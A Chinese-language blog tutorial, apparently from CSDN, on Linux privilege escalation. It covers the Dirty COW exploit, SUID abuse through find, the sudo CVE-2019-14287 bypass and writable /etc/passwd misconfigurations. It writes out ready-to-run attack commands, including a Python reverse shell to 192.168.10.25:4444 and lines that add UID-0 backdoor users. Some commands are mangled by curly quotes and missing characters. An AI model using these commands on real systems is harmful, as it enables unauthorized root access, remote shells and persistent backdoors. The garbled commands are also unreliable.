Linux提权

脏牛提权漏洞复现

漏洞内容:
该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。黑客可以在获取低权限的本地用户后,利用此漏洞获取 其他只读内存映射的写权限,进一步获取 root 权限。

uname -a #查看内核的具体信息
cat /proc/version #查看内核的具体信息
cat /etc/centos-release #查看centos发行版本
cat /etc/redhat-release #查看redhat发行版本

漏洞范围:
Linux kernel >= 2.6.22

Linux提权的前提:
拿到了一个低权限的账号
能上传和下载文件
机器上有python、java、perl等环境(非必须项)

漏洞危害
黑客通过远程入侵获取低权限用户后,利用该漏洞在全版本Linux系统服务器上实现本地提权,从而获取到服务器root权限。
利用条件
黑客通过远程入侵获取低权限用户后,才能进一步在操作系统本地利用该漏洞

1.首先,使用***id***查看一下当前的用户权限,使用***uname -a***命令查看linux内核信息,发现版本为2.6.24在脏牛漏洞范围内,可以进行测试

在这里插入图片描述

2.将exp下载到本地. 手动下载,拖进去即可

在这里插入图片描述

3.发现可以执行,使用***gcc -pthread dirty.c -o dirty -lcrypt***命令对dirty.c进行编译,生成一个dirty的可执行文件。

  1. ./dirty 密码命令 ./dirty 123456/owl/

在这里插入图片描述

  1. 使用获得的账号密码登陆,查看用户权限

在这里插入图片描述

suid提权

SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。

已知的可用来提权的linux可行性的文件列表如下:

nmap
vim
find
bash
more
less
nano
cp
以下命令可以发现系统上运行的所有SUID可执行文件。

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
find / -user root -perm -4000 -print 2>/dev/null

find命令提权

1.先看看当前权限 whoami

2.输入指令 查看具有root用户权限的SUID文件 find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
我们就找find,先查看其信息,发现其确实是root用户权限的SUID的文件

在这里插入图片描述

3.需要配合find命令(寻找文件)。所以先创建个测试文件吧
(普通用户的话,进入到/tmp目录下,然后新建一个文件)

touch test

user/bin/find test -exec whoami ;

4.或者可以尝试反弹。(另一种方法)
5.然后我们查看目标网站上是否有python环境,可以看到有python2.7.6的环境

在这里插入图片描述
6.于是我们以root用户的身份利用python反弹shell,

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.10.25”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’ #反弹一个sh类型的shell

可以看到,在攻击端收到了反弹过来的shell,并且是root身份
在这里插入图片描述

Centos sudo提权

Sudo提权
Sudo提权漏洞(CVE-2019-14287)
漏洞背景
2019年10月14日, sudo 官方在发布了 CVE-2019-14287 的漏洞预警。
sudo 是所有 unix操作系统(BSD, MacOS, GNU/Linux) 基本集成的一个用户权限控制/切换程序。允许管理员控制服务器下用户能够切换的用户权限。
CVE-2019-14287 是管理员在配置文件中用了 ALL 关键词后造成的。但默认的 sudo 配置文件不受影响。
漏洞影响版本
sudo < 1.8.28
利用条件

  1. sudo的版本号<1.8.28

  2. 知道当前用户的密码

  3. 当前用户存在于sudo权限列表
    第一点和第二点比较好容易理解,那么第三点当前用户存在于sudo权限列表这个怎么理解呢?
    当 /etc/sudoers 文件存在如下形式的配置会导致漏洞的产生

  4. 我们在/etc/sudoers配置文件中加上这一行

  5. huahua ALL=(ALL, !root) ALL

  6. 输入 sudo whoami

在这里插入图片描述

Linux配置错误提权

还有就是利用Linux的配置文件错误,导致 /etc/passwd 文件可写入提权:
当我们获得了某个Linux服务器的低权限之后,我们想要对该低权限账号进行提权,以执行更多的操作。
接下来我们的提权是利用 /etc/passwd 文件的可写入权限,导致我们写入一个其他用户进去。
首先,查看 /etc/passwd 的权限,发现任何用户都可以读写。

1.输入指令 ls -lh /etc/passwd

有关于 /etc/passwd 文件里面数据的每个属性
我们现在要做的就是自己构造一个用户,在密码占位符处指定密码,并且UID设置为0,将其添加到 /etc/passwd 文件中。

2.首先,使用perl语言生成带有盐值的密码:密码为password@123
perl -le 'print crypt(“password@123”,“addedsalt”)'

在这里插入图片描述

然后执行下面这条命令,成功将test用户的信息加入 /etc/passwd 文件
echo “test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash” >>/etc/passwd

在这里插入图片描述

4.用户名:test 密码: password@123 登录主机,登录成功后,是 root 权限

  1. 以下这条命令直接生成一个具有root权限的用户:venus,密码为:123qwe 。前提是这条命令的执行需要root权限。
    useradd -p openssl passwd -1 -salt 'user' 123qwe -u 0 -o -g root -G root -s /bin/bash -d /home/user venus

标题

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值